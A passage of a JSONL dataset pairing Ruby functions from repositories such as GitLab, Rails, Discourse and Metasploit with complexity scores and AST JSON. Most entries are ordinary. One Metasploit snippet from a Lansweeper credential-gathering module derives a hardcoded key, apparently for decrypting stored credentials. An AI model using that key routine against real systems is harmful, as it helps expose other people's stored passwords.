end","complexity_score":52.3,"ast_json":"{\"type\":\"def\",\"children\":[\"create\",{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"issuable\"]},{\"type\":\"kwoptarg\",\"children\":[\"skip_system_notes\",{\"type\":\"false\",\"children\":[]}]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[null,\"set_issuable_author\",{\"type\":\"lvar\",\"children\":[\"issuable\"]}]},{\"type\":\"send\",\"children\":[null,\"handle_quick_actions\",{\"type\":\"lvar\",\"children\":[\"issuable\"]}]},{\"type\":\"send\",\"children\":[null,\"filter_params\",{\"type\":\"lvar\",\"children\":[\"issuable\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"params\"]},\"delete\",{\"type\":\"sym\",\"children\":[\"state_event\"]}]},{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"issuable\"]},\"respond_to?\",{\"type\":\"sym\",\"children\":[\"assignee_ids\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"params\"]},\"[]=\",{\"type\":\"sym\",\"children\":[\"assignee_ids\"]},{\"type\":\"send\",\"children\":[null,\"process_assignee_ids\",{\"type\":\"send\",\"children\":[null,\"params\"]},{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"extra_assignee_ids\"]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"issuable\"]},\"assignee_ids\"]},\"to_a\"]}]}]}]}]},null]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"params\"]},\"delete\",{\"type\":\"sym\",\"children\":[\"remove_contacts\"]}]},{\"type\":\"lvasgn\",\"children\":[\"add_crm_contact_emails\",{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"params\"]},\"delete\",{\"type\":\"sym\",\"children\":[\"add_contacts\"]}]}]},{\"type\":\"send\",\"children\":[null,\"initialize_callbacks!\",{\"type\":\"lvar\",\"children\":[\"issuable\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"issuable\"]},\"assign_attributes\",{\"type\":\"send\",\"children\":[null,\"allowed_create_params\",{\"type\":\"send\",\"children\":[null,\"params\"]}]}]},{\"type\":\"send\",\"children\":[null,\"before_create\",{\"type\":\"lvar\",\"children\":[\"issuable\"]}]},{\"type\":\"lvasgn\",\"children\":[\"issuable_saved\",{\"type\":\"block\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"issuable\"]},\"with_transaction_returning_status\"]},{\"type\":\"args\",\"children\":[]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"ivar\",\"children\":[\"@callbacks\"]},\"each\",{\"type\":\"block_pass\",\"children\":[{\"type\":\"sym\",\"children\":[\"before_create\"]}]}]},{\"type\":\"send\",\"children\":[null,\"transaction_create\",{\"type\":\"lvar\",\"children\":[\"issuable\"]}]}]}]}]},{\"type\":\"if\",\"children\":[{\"type\":\"lvar\",\"children\":[\"issuable_saved\"]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"ivar\",\"children\":[\"@callbacks\"]},\"each\",{\"type\":\"block_pass\",\"children\":[{\"type\":\"sym\",\"children\":[\"after_save_commit\"]}]}]},{\"type\":\"if\",\"children\":[{\"type\":\"lvar\",\"children\":[\"skip_system_notes\"]},null,{\"type\":\"send\",\"children\":[null,\"create_system_notes\",{\"type\":\"lvar\",\"children\":[\"issuable\"]},{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"is_update\"]},{\"type\":\"false\",\"children\":[]}]}]}]}]},{\"type\":\"send\",\"children\":[null,\"handle_changes\",{\"type\":\"lvar\",\"children\":[\"issuable\"]},{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"params\"]},{\"type\":\"send\",\"children\":[null,\"params\"]}]}]}]},{\"type\":\"send\",\"children\":[null,\"after_create\",{\"type\":\"lvar\",\"children\":[\"issuable\"]}]},{\"type\":\"send\",\"children\":[null,\"set_crm_contacts\",{\"type\":\"lvar\",\"children\":[\"issuable\"]},{\"type\":\"lvar\",\"children\":[\"add_crm_contact_emails\"]}]},{\"type\":\"send\",\"children\":[null,\"execute_triggers\",{\"type\":\"lvar\",\"children\":[\"issuable\"]}]},{\"type\":\"send\",\"children\":[null,\"execute_hooks\",{\"type\":\"lvar\",\"children\":[\"issuable\"]}]},{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"issuable\"]},\"allows_reviewers?\"]},null,{\"type\":\"send\",\"children\":[null,\"invalidate_cache_counts\",{\"type\":\"lvar\",\"children\":[\"issuable\"]},{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"users\"]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"issuable\"]},\"assignees\"]}]}]}]}]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"issuable\"]},\"invalidate_project_counter_caches\"]}]},null]},{\"type\":\"lvar\",\"children\":[\"issuable\"]}]}]}","id":"2f0631b1-c9b3-41cd-ae3b-b74dc534e7dd"}
{"repo_name":"discourse","file_path":"./repos/discourse/script/import_scripts/sourceforge.rb","start_line":117,"raw_source":"def process_post_text(forum, thread, post)\n    text = post[:text]\n    text.gsub!(/~{3,}/, \"```\") # Discourse doesn't recognize ~~~ as beginning/end of code blocks\n\n    # SourceForge doesn't allow symbols in usernames, so we are safe here.\n    # Well, unless it's the anonymous user, which has an evil asterisk in the JSON file...\n    username = post[:author]\n    username = \"anonymous\" if username == \"*anonymous\"\n\n    # anonymous and nobody are nonexistent users. Make sure we don't create links for them.\n    user_without_profile = username == \"anonymous\" || username == \"nobody\"\n    user_link =\n      user_without_profile ? username : \"[#{username}](https://sourceforge.net/u/#{username}/)\"\n\n    # Create a nice looking header for each imported post that links to the author's user profile and the old post.\n    post_date = Time.zone.parse(post[:timestamp]).strftime(\"%A, %B %d, %Y\")\n    post_url =\n      \"https://sourceforge.net/p/#{PROJECT_NAME}/discussion/#{forum[:shortname]}/thread/#{thread[:_id]}/##{post[:slug]}\"\n\n    \"**#{user_link}** wrote on [#{post_date}](#{post_url}):\\n\\n#{text}\"\n  end","complexity_score":24.3,"ast_json":"{\"type\":\"def\",\"children\":[\"process_post_text\",{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"forum\"]},{\"type\":\"arg\",\"children\":[\"thread\"]},{\"type\":\"arg\",\"children\":[\"post\"]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"text\",{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"post\"]},\"[]\",{\"type\":\"sym\",\"children\":[\"text\"]}]}]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"text\"]},\"gsub!\",{\"type\":\"regexp\",\"children\":[{\"type\":\"str\",\"children\":[\"~{3,}\"]},{\"type\":\"regopt\",\"children\":[]}]},{\"type\":\"str\",\"children\":[\"```\"]}]},{\"type\":\"lvasgn\",\"children\":[\"username\",{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"post\"]},\"[]\",{\"type\":\"sym\",\"children\":[\"author\"]}]}]},{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"username\"]},\"==\",{\"type\":\"str\",\"children\":[\"*anonymous\"]}]},{\"type\":\"lvasgn\",\"children\":[\"username\",{\"type\":\"str\",\"children\":[\"anonymous\"]}]},null]},{\"type\":\"lvasgn\",\"children\":[\"user_without_profile\",{\"type\":\"or\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"username\"]},\"==\",{\"type\":\"str\",\"children\":[\"anonymous\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"username\"]},\"==\",{\"type\":\"str\",\"children\":[\"nobody\"]}]}]}]},{\"type\":\"lvasgn\",\"children\":[\"user_link\",{\"type\":\"if\",\"children\":[{\"type\":\"lvar\",\"children\":[\"user_without_profile\"]},{\"type\":\"lvar\",\"children\":[\"username\"]},{\"type\":\"dstr\",\"children\":[{\"type\":\"str\",\"children\":[\"[\"]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvar\",\"children\":[\"username\"]}]},{\"type\":\"str\",\"children\":[\"](https://sourceforge.net/u/\"]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvar\",\"children\":[\"username\"]}]},{\"type\":\"str\",\"children\":[\"/)\"]}]}]}]},{\"type\":\"lvasgn\",\"children\":[\"post_date\",{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Time\"]},\"zone\"]},\"parse\",{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"post\"]},\"[]\",{\"type\":\"sym\",\"children\":[\"timestamp\"]}]}]},\"strftime\",{\"type\":\"str\",\"children\":[\"%A, %B %d, %Y\"]}]}]},{\"type\":\"lvasgn\",\"children\":[\"post_url\",{\"type\":\"dstr\",\"children\":[{\"type\":\"str\",\"children\":[\"https://sourceforge.net/p/\"]},{\"type\":\"begin\",\"children\":[{\"type\":\"const\",\"children\":[null,\"PROJECT_NAME\"]}]},{\"type\":\"str\",\"children\":[\"/discussion/\"]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"forum\"]},\"[]\",{\"type\":\"sym\",\"children\":[\"shortname\"]}]}]},{\"type\":\"str\",\"children\":[\"/thread/\"]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"thread\"]},\"[]\",{\"type\":\"sym\",\"children\":[\"_id\"]}]}]},{\"type\":\"str\",\"children\":[\"/#\"]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"post\"]},\"[]\",{\"type\":\"sym\",\"children\":[\"slug\"]}]}]}]}]},{\"type\":\"dstr\",\"children\":[{\"type\":\"str\",\"children\":[\"**\"]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvar\",\"children\":[\"user_link\"]}]},{\"type\":\"str\",\"children\":[\"** wrote on [\"]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvar\",\"children\":[\"post_date\"]}]},{\"type\":\"str\",\"children\":[\"](\"]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvar\",\"children\":[\"post_url\"]}]},{\"type\":\"str\",\"children\":[\"):\\n\\n\"]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvar\",\"children\":[\"text\"]}]}]}]}]}","id":"664c2e25-a9d7-4e68-8cde-f3b3b5ae6ea4"}
{"repo_name":"rails","file_path":"./repos/rails/activejob/lib/active_job/log_subscriber.rb","start_line":223,"raw_source":"def info(progname = nil, &block)\n        return unless super\n\n        if ActiveJob.verbose_enqueue_logs\n          log_enqueue_source\n        end\n      end","complexity_score":5.1,"ast_json":"{\"type\":\"def\",\"children\":[\"info\",{\"type\":\"args\",\"children\":[{\"type\":\"optarg\",\"children\":[\"progname\",{\"type\":\"nil\",\"children\":[]}]},{\"type\":\"blockarg\",\"children\":[\"block\"]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"if\",\"children\":[{\"type\":\"zsuper\",\"children\":[]},null,{\"type\":\"return\",\"children\":[]}]},{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"ActiveJob\"]},\"verbose_enqueue_logs\"]},{\"type\":\"send\",\"children\":[null,\"log_enqueue_source\"]},null]}]}]}","id":"55f42907-ca00-4c30-aa62-331484c6ebe1"}
{"repo_name":"metasploit-framework","file_path":"./repos/metasploit-framework/lib/msf/core/exploit/remote/http_server/browser_exploit.rb","start_line":22,"raw_source":"def start_service(opts = {})\n    super(opts)\n\n    if datastore['DEBUG_EXPLOIT']\n      add_print_status_resource\n    end\n  end","complexity_score":6.3,"ast_json":"{\"type\":\"def\",\"children\":[\"start_service\",{\"type\":\"args\",\"children\":[{\"type\":\"optarg\",\"children\":[\"opts\",{\"type\":\"hash\",\"children\":[]}]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"super\",\"children\":[{\"type\":\"lvar\",\"children\":[\"opts\"]}]},{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"datastore\"]},\"[]\",{\"type\":\"str\",\"children\":[\"DEBUG_EXPLOIT\"]}]},{\"type\":\"send\",\"children\":[null,\"add_print_status_resource\"]},null]}]}]}","id":"b09fe6e6-4f09-49df-be67-8ec5bd021fe7"}
{"repo_name":"chatwoot","file_path":"./repos/chatwoot/app/jobs/migration/update_first_response_time_in_reporting_events_job.rb","start_line":51,"raw_source":"def update_event_details(event, last_bot_reply, first_human_reply, inbox)\n    # rubocop:disable Rails/SkipsModelValidations\n    event.update_columns(event_start_time: last_bot_reply.created_at,\n                         event_end_time: first_human_reply.created_at,\n                         value: calculate_event_value(last_bot_reply, first_human_reply),\n                         value_in_business_hours: calculate_event_value_in_business_hours(inbox, last_bot_reply,\n                                                                                          first_human_reply),\n                         user_id: event.user_id || first_human_reply.sender_id)\n    # rubocop:enable Rails/SkipsModelValidations\n  end","complexity_score":9.6,"ast_json":"{\"type\":\"def\",\"children\":[\"update_event_details\",{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"event\"]},{\"type\":\"arg\",\"children\":[\"last_bot_reply\"]},{\"type\":\"arg\",\"children\":[\"first_human_reply\"]},{\"type\":\"arg\",\"children\":[\"inbox\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"event\"]},\"update_columns\",{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"event_start_time\"]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"last_bot_reply\"]},\"created_at\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"event_end_time\"]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"first_human_reply\"]},\"created_at\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"value\"]},{\"type\":\"send\",\"children\":[null,\"calculate_event_value\",{\"type\":\"lvar\",\"children\":[\"last_bot_reply\"]},{\"type\":\"lvar\",\"children\":[\"first_human_reply\"]}]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"value_in_business_hours\"]},{\"type\":\"send\",\"children\":[null,\"calculate_event_value_in_business_hours\",{\"type\":\"lvar\",\"children\":[\"inbox\"]},{\"type\":\"lvar\",\"children\":[\"last_bot_reply\"]},{\"type\":\"lvar\",\"children\":[\"first_human_reply\"]}]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"user_id\"]},{\"type\":\"or\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"event\"]},\"user_id\"]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"first_human_reply\"]},\"sender_id\"]}]}]}]}]}]}","id":"aaaa8a95-2d01-404f-a1c0-d41f4316ff7e"}
{"repo_name":"rails","file_path":"./repos/rails/railties/test/railties/generators_test.rb","start_line":58,"raw_source":"def test_controllers_are_correctly_namespaced_when_engine_is_mountable\n      build_mountable_engine\n      Dir.chdir(engine_path) do\n        bundled_rails(\"g controller topics\")\n        assert_file \"app/controllers/foo_bar/topics_controller.rb\", /module FooBar\\n  class TopicsController/\n        assert_no_file \"app/controllers/topics_controller.rb\"\n      end\n    end","complexity_score":7.8,"ast_json":"{\"type\":\"def\",\"children\":[\"test_controllers_are_correctly_namespaced_when_engine_is_mountable\",{\"type\":\"args\",\"children\":[]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[null,\"build_mountable_engine\"]},{\"type\":\"block\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Dir\"]},\"chdir\",{\"type\":\"send\",\"children\":[null,\"engine_path\"]}]},{\"type\":\"args\",\"children\":[]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[null,\"bundled_rails\",{\"type\":\"str\",\"children\":[\"g controller topics\"]}]},{\"type\":\"send\",\"children\":[null,\"assert_file\",{\"type\":\"str\",\"children\":[\"app/controllers/foo_bar/topics_controller.rb\"]},{\"type\":\"regexp\",\"children\":[{\"type\":\"str\",\"children\":[\"module FooBar\\\\n  class TopicsController\"]},{\"type\":\"regopt\",\"children\":[]}]}]},{\"type\":\"send\",\"children\":[null,\"assert_no_file\",{\"type\":\"str\",\"children\":[\"app/controllers/topics_controller.rb\"]}]}]}]}]}]}","id":"a772bed4-704c-4cfa-87d9-1b1e50765833"}
{"repo_name":"rails","file_path":"./repos/rails/railties/test/application/active_storage/engine_integration_test.rb","start_line":13,"raw_source":"def setup\n      build_app\n\n      File.write app_path(\"Gemfile\"), <<~GEMFILE\n        source \"https://rubygems.org\"\n        gem \"rails\", path: \"#{RAILS_FRAMEWORK_ROOT}\"\n\n        gem \"propshaft\"\n        gem \"importmap-rails\"\n        gem \"sqlite3\"\n      GEMFILE\n\n      add_to_env_config :development, \"config.active_storage.logger = ActiveSupport::Logger.new(STDOUT)\"\n\n      File.open(\"#{app_path}/config/boot.rb\", \"w\") do |f|\n        f.puts \"ENV['BUNDLE_GEMFILE'] = '#{app_path}/Gemfile'\"\n        f.puts 'require \"bundler/setup\"'\n      end\n    end","complexity_score":11.2,"ast_json":"{\"type\":\"def\",\"children\":[\"setup\",{\"type\":\"args\",\"children\":[]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[null,\"build_app\"]},{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"File\"]},\"write\",{\"type\":\"send\",\"children\":[null,\"app_path\",{\"type\":\"str\",\"children\":[\"Gemfile\"]}]},{\"type\":\"dstr\",\"children\":[{\"type\":\"str\",\"children\":[\"source \\\"https://rubygems.org\\\"\\n\"]},{\"type\":\"str\",\"children\":[\"gem \\\"rails\\\", path: \\\"\"]},{\"type\":\"begin\",\"children\":[{\"type\":\"const\",\"children\":[null,\"RAILS_FRAMEWORK_ROOT\"]}]},{\"type\":\"str\",\"children\":[\"\\\"\\n\"]},{\"type\":\"str\",\"children\":[\"\\n\"]},{\"type\":\"str\",\"children\":[\"gem \\\"propshaft\\\"\\n\"]},{\"type\":\"str\",\"children\":[\"gem \\\"importmap-rails\\\"\\n\"]},{\"type\":\"str\",\"children\":[\"gem \\\"sqlite3\\\"\\n\"]}]}]},{\"type\":\"send\",\"children\":[null,\"add_to_env_config\",{\"type\":\"sym\",\"children\":[\"development\"]},{\"type\":\"str\",\"children\":[\"config.active_storage.logger = ActiveSupport::Logger.new(STDOUT)\"]}]},{\"type\":\"block\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"File\"]},\"open\",{\"type\":\"dstr\",\"children\":[{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[null,\"app_path\"]}]},{\"type\":\"str\",\"children\":[\"/config/boot.rb\"]}]},{\"type\":\"str\",\"children\":[\"w\"]}]},{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"f\"]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"f\"]},\"puts\",{\"type\":\"dstr\",\"children\":[{\"type\":\"str\",\"children\":[\"ENV['BUNDLE_GEMFILE'] = '\"]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[null,\"app_path\"]}]},{\"type\":\"str\",\"children\":[\"/Gemfile'\"]}]}]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"f\"]},\"puts\",{\"type\":\"str\",\"children\":[\"require \\\"bundler/setup\\\"\"]}]}]}]}]}]}","id":"6c85b396-93c2-4ee2-978c-97a8b6c8d1f0"}
{"repo_name":"gitlabhq","file_path":"./repos/gitlabhq/app/models/ci/pipeline.rb","start_line":635,"raw_source":"def self.current_partition_value\n      Gitlab::SafeRequestStore.fetch(:ci_current_partition_value) do\n        Ci::Partition.current&.id || Ci::Partition::INITIAL_PARTITION_VALUE\n      end\n    end","complexity_score":5.8,"ast_json":"{\"type\":\"defs\",\"children\":[{\"type\":\"self\",\"children\":[]},\"current_partition_value\",{\"type\":\"args\",\"children\":[]},{\"type\":\"block\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Gitlab\"]},\"SafeRequestStore\"]},\"fetch\",{\"type\":\"sym\",\"children\":[\"ci_current_partition_value\"]}]},{\"type\":\"args\",\"children\":[]},{\"type\":\"or\",\"children\":[{\"type\":\"csend\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Ci\"]},\"Partition\"]},\"current\"]},\"id\"]},{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Ci\"]},\"Partition\"]},\"INITIAL_PARTITION_VALUE\"]}]}]}]}","id":"45672271-2d86-488f-b203-804ccf409f5f"}
{"repo_name":"fluentd","file_path":"./repos/fluentd/lib/fluent/plugin_helper/event_emitter.rb","start_line":27,"raw_source":"def router\n        @_event_emitter_used_actually = true\n\n        return Engine.root_agent.source_only_router if @_event_emitter_force_source_only_router\n\n        if @_event_emitter_lazy_init\n          @router = @primary_instance.router\n        end\n        if @router.respond_to?(:caller_plugin_id=)\n          @router.caller_plugin_id = self.plugin_id\n        end\n        @router\n      end","complexity_score":11.8,"ast_json":"{\"type\":\"def\",\"children\":[\"router\",{\"type\":\"args\",\"children\":[]},{\"type\":\"begin\",\"children\":[{\"type\":\"ivasgn\",\"children\":[\"@_event_emitter_used_actually\",{\"type\":\"true\",\"children\":[]}]},{\"type\":\"if\",\"children\":[{\"type\":\"ivar\",\"children\":[\"@_event_emitter_force_source_only_router\"]},{\"type\":\"return\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Engine\"]},\"root_agent\"]},\"source_only_router\"]}]},null]},{\"type\":\"if\",\"children\":[{\"type\":\"ivar\",\"children\":[\"@_event_emitter_lazy_init\"]},{\"type\":\"ivasgn\",\"children\":[\"@router\",{\"type\":\"send\",\"children\":[{\"type\":\"ivar\",\"children\":[\"@primary_instance\"]},\"router\"]}]},null]},{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"ivar\",\"children\":[\"@router\"]},\"respond_to?\",{\"type\":\"sym\",\"children\":[\"caller_plugin_id=\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"ivar\",\"children\":[\"@router\"]},\"caller_plugin_id=\",{\"type\":\"send\",\"children\":[{\"type\":\"self\",\"children\":[]},\"plugin_id\"]}]},null]},{\"type\":\"ivar\",\"children\":[\"@router\"]}]}]}","id":"86f495b1-57a3-4a55-847b-8df98e843047"}
{"repo_name":"metasploit-framework","file_path":"./repos/metasploit-framework/modules/auxiliary/gather/lansweeper_collector.rb","start_line":91,"raw_source":"def lsw_generate_pass\n    key = ''\n\n    (0..60).each do |num|\n      key << [((40 - num) + ((num * 2) + num)) - 1].pack('c')\n      key << [(num + 15) + num].pack('c')\n    end\n\n    key\n  end","complexity_score":23.3,"ast_json":"{\"type\":\"def\",\"children\":[\"lsw_generate_pass\",{\"type\":\"args\",\"children\":[]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"key\",{\"type\":\"str\",\"children\":[\"\"]}]},{\"type\":\"block\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"begin\",\"children\":[{\"type\":\"irange\",\"children\":[{\"type\":\"int\",\"children\":[0]},{\"type\":\"int\",\"children\":[60]}]}]},\"each\"]},{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"num\"]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"key\"]},\"<<\",{\"type\":\"send\",\"children\":[{\"type\":\"array\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"int\",\"children\":[40]},\"-\",{\"type\":\"lvar\",\"children\":[\"num\"]}]}]},\"+\",{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"num\"]},\"*\",{\"type\":\"int\",\"children\":[2]}]}]},\"+\",{\"type\":\"lvar\",\"children\":[\"num\"]}]}]}]}]},\"-\",{\"type\":\"int\",\"children\":[1]}]}]},\"pack\",{\"type\":\"str\",\"children\":[\"c\"]}]}]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"key\"]},\"<<\",{\"type\":\"send\",\"children\":[{\"type\":\"array\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"num\"]},\"+\",{\"type\":\"int\",\"children\":[15]}]}]},\"+\",{\"type\":\"lvar\",\"children\":[\"num\"]}]}]},\"pack\",{\"type\":\"str\",\"children\":[\"c\"]}]}]}]}]},{\"type\":\"lvar\",\"children\":[\"key\"]}]}]}","id":"e19f5a48-e068-490e-bddb-bded50eca8cd"}
{"repo_name":"haml","file_path":"./repos/haml/test/haml/engine_test.rb","start_line":1557,"raw_source":"def test_html5_data_attributes_with_multiple_defs; skip # hyphenate\n    # Should always use the more-explicit attribute\n    assert_equal(\"<div data-foo='second'></div>\\n\",\n      render(\"%div{:data => {:foo => 'first'}, 'data-foo' => 'second'}\"))\n    assert_equal(\"<div data-foo='first'></div>\\n\",\n      render(\"%div{'data-foo' => 'first', :data => {:foo => 'second'}}\"))\n  end","complexity_score":5.4,"ast_json":"{\"type\":\"def\",\"children\":[\"test_html5_data_attributes_with_multiple_defs\",{\"type\":\"args\",\"children\":[]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[null,\"skip\"]},{\"type\":\"send\",\"children\":[null,\"assert_equal\",{\"type\":\"str\",\"children\":[\"<div data-foo='second'></div>\\n\"]},{\"type\":\"send\",\"children\":[null,\"render\",{\"type\":\"str\",\"children\":[\"%div{:data => {:foo => 'first'}, 'data-foo' => 'second'}\"]}]}]},{\"type\":\"send\",\"children\":[null,\"assert_equal\",{\"type\":\"str\",\"children\":[\"<div data-foo='first'></div>\\n\"]},{\"type\":\"send\",\"children\":[null,\"render\",{\"type\":\"str\",\"children\":[\"%div{'data-foo' => 'first', :data => {:foo => 'second'}}\"]}]}]}]}]}","id":"aa66ff28-9cf1-471b-8db1-0986dd37b324"}
{"repo_name":"rails","file_path":"./repos/rails/railties/test/generators/named_base_test.rb","start_line":104,"raw_source":"def test_application_name\n    g = generator [\"Admin::Foo\"]\n    Rails.stub(:application, Object.new) do\n      assert_name g, \"object\", :application_name\n    end\n\n    Rails.stub(:application, nil) do\n      assert_name g, \"application\", :application_name\n    end\n  end","complexity_score":9.4,"ast_json":"{\"type\":\"def\",\"children\":[\"test_application_name\",{\"type\":\"args\",\"children\":[]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"g\",{\"type\":\"send\",\"children\":[null,\"generator\",{\"type\":\"array\",\"children\":[{\"type\":\"str\",\"children\":[\"Admin::Foo\"]}]}]}]},{\"type\":\"block\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Rails\"]},\"stub\",{\"type\":\"sym\",\"children\":[\"application\"]},{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Object\"]},\"new\"]}]},{\"type\":\"args\",\"children\":[]},{\"type\":\"send\",\"children\":[null,\"assert_name\",{\"type\":\"lvar\",\"children\":[\"g\"]},{\"type\":\"str\",\"children\":[\"object\"]},{\"type\":\"sym\",\"children\":[\"application_name\"]}]}]},{\"type\":\"block\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Rails\"]},\"stub\",{\"type\":\"sym\",\"children\":[\"application\"]},{\"type\":\"nil\",\"children\":[]}]},{\"type\":\"args\",\"children\":[]},{\"type\":\"send\",\"children\":[null,\"assert_name\",{\"type\":\"lvar\",\"children\":[\"g\"]},{\"type\":\"str\",\"children\":[\"application\"]},{\"type\":\"sym\",\"children\":[\"application_name\"]}]}]}]}]}","id":"9f6397bc-fcf9-435d-8763-5f748f0a7266"}
